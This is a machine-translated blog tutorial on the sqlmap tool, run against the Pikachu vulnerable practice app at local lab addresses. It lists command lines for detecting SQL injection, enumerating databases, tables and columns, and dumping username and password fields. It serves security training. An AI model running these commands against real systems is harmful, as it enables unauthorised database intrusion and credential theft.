当前位置:网站首页>Sqlmap tutorial (II) practical skills I
Sqlmap tutorial (II) practical skills I
2022-07-05 06:06:00 【A τθ】
One 、 Detection Injection
testing URL GET Whether there is injection of parameters :
-u Tested url
"" Double quotes , Indicates that this is a string .
--dbms Specify the data engine of the attack
-v Output information is registered as 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
After typing sqlmap Will automatically inject , But there will be some prompts , You need to confirm at the terminal , If you use --batch The default operation will be performed automatically , There is no need to determine the interactive information .
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch

Two 、 Get sensitive information
After confirming the existence of Injection , Then, get the information through the command of getting sensitive information
--current-user Users connected by users ;
--currnet-db Current library ;
--dbs Get all libraries ;
--is-dba whether root jurisdiction ;
--passwords Get the password of the database .
Use this command sqlmap When you find the ciphertext , Will prompt you whether to hash Crack , If you need to choose the right dictionary .
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch


3、 ... and 、 Get the table
Get the current library , You can list tables according to the Library .
-D Specify the library ;
--tables List all the tables .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables


Four 、 Get the fields of the table
Get all the fields of a table .
-T Specify a table ;
--columns Get field .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns


5、 ... and 、 get data
--dump Export all contents of data ;
--dump -C "username,password" Get the contents of the field ;
Get all field contents of the specified table :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump


Get the specified table 、 Specify field content .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump


6、 ... and 、 Get the specified number
Get the total number :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count


Get specified id Number of pieces :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3


7、 ... and 、 Delete cache file
Parameters :--flush-session
If you don't want to use the previous cache of this target session file , You can use this parameter . Will empty the previous session, Retest the goal .
边栏推荐
- Analysis of backdoor vulnerability in remote code execution penetration test / / phpstudy of national game title of national secondary vocational network security B module
- SQLMAP使用教程(二)实战技巧一
- QQ computer version cancels escape character input expression
- Smart construction site "hydropower energy consumption online monitoring system"
- Bit mask of bit operation
- Groupbykey() and reducebykey() and combinebykey() in spark
- SPI 详解
- Introduction and experience of wazuh open source host security solution
- LeetCode 1200.最小绝对差
- 1041 Be Unique
猜你喜欢
随机推荐
多屏电脑截屏会把多屏连着截下来,而不是只截当前屏
1039 Course List for Student
【Rust 笔记】15-字符串与文本(上)
Sword finger offer 05 Replace spaces
LeetCode 0107.二叉树的层序遍历II - 另一种方法
CF1634 F. Fibonacci Additions
Fried chicken nuggets and fifa22
做 SQL 性能优化真是让人干瞪眼
Daily question 2013 Detect square
1039 Course List for Student
CF1637E Best Pair
QQ电脑版取消转义符输入表情
One question per day 1447 Simplest fraction
Convolution neural network -- convolution layer
Simple knapsack, queue and stack with deque
1040 Longest Symmetric String
1.15 - 输入输出系统
leetcode-6109:知道秘密的人数
【Rust 笔记】14-集合(上)
927. 三等分 模拟




![[jailhouse article] look mum, no VM exits](/img/fe/87e0851d243f14dff96ef1bc350e50.png)

![[cloud native] record of feign custom configuration of microservices](/img/39/05cf7673155954c90e75a8a2eecd96.jpg)


